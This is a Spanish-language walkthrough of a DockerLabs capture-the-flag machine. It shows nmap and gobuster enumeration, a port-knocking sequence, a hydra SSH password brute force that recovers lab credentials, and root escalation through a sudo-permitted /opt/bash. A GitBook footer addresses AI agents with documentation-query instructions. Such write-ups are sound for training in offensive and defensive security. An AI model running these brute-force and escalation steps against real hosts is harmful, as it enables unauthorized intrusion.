> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/los_40_ladrones.md).

# Los 40 Ladrones

## Introducción

En este laboratorio se compromete una máquina Linux mediante técnicas de enumeración web, port knocking, fuerza bruta y escalada de privilegios.

El objetivo es obtener acceso inicial al sistema y escalar privilegios hasta root.

***

## Escaneo y enumeración

Se realiza un escaneo inicial con Nmap para identificar servicios expuestos:

```bash
nmap -sV 172.17.0.2
```

![picture 1](/files/EP9vKktua6dwEpX0wbQo)

Se detecta únicamente el puerto:

* 80/tcp → HTTP (Apache 2.4.58)

El servidor muestra la página por defecto de Apache.

***

## Enumeración web

Se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,php,txt
```

![picture 2](/files/MfvICPKRfruEwcdXswN5)

Se encuentra el recurso:

* `/qdefense.txt`

![picture 4](/files/71MYdrJDSgoVrX6FeIKM)

***

## Análisis del archivo

El archivo contiene información sobre **Port Knocking**, una técnica para abrir puertos ocultos mediante una secuencia específica de conexiones.

Ejemplo:

```bash
knock 172.17.0.2 7000 8000 9000
```

***

## Port Knocking

Se ejecuta la secuencia:

```bash
knock 172.17.0.2 7000 8000 9000
```

Se realiza un nuevo escaneo:

```bash
nmap -sV 172.17.0.2
```

![picture 5](/files/lDgTYfDfAgXqtJ3uCLk3)

Se observa que el puerto 22 (SSH) está abierto.

***

## Acceso inicial

Usuario identificado:

toctoc

Ataque de fuerza bruta:

```bash
hydra -l toctoc -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 25
```

![picture 6](/files/uUxShYZclksBRw5jwqvH)

Credenciales obtenidas:

* Usuario: toctoc
* Contraseña: kittycat

***

## Acceso por SSH

```bash
ssh toctoc@172.17.0.2
```

Acceso exitoso.

***

## Escalada de privilegios

Enumeración de privilegios:

```bash
sudo -l
```

![picture 7](/files/S8Pn8Xd3bpQI0KlMBoY5)

Se identifica:

/opt/bash

Ejecución:

```bash
sudo /opt/bash
```

![picture 8](/files/4v4YljyjeyhHYTeGJOsL)

***

## Acceso root

Verificación:

```bash
id
```

Salida:

uid=1000(toctoc) gid=1000(toctoc) euid=0(root)

***

## Conclusión

El compromiso fue posible debido a:

* Exposición de técnica de port knocking
* Uso de credenciales débiles
* Mala configuración de privilegios sudo

Este laboratorio demuestra cómo múltiples fallos pueden encadenarse para lograr acceso root.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/los_40_ladrones.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
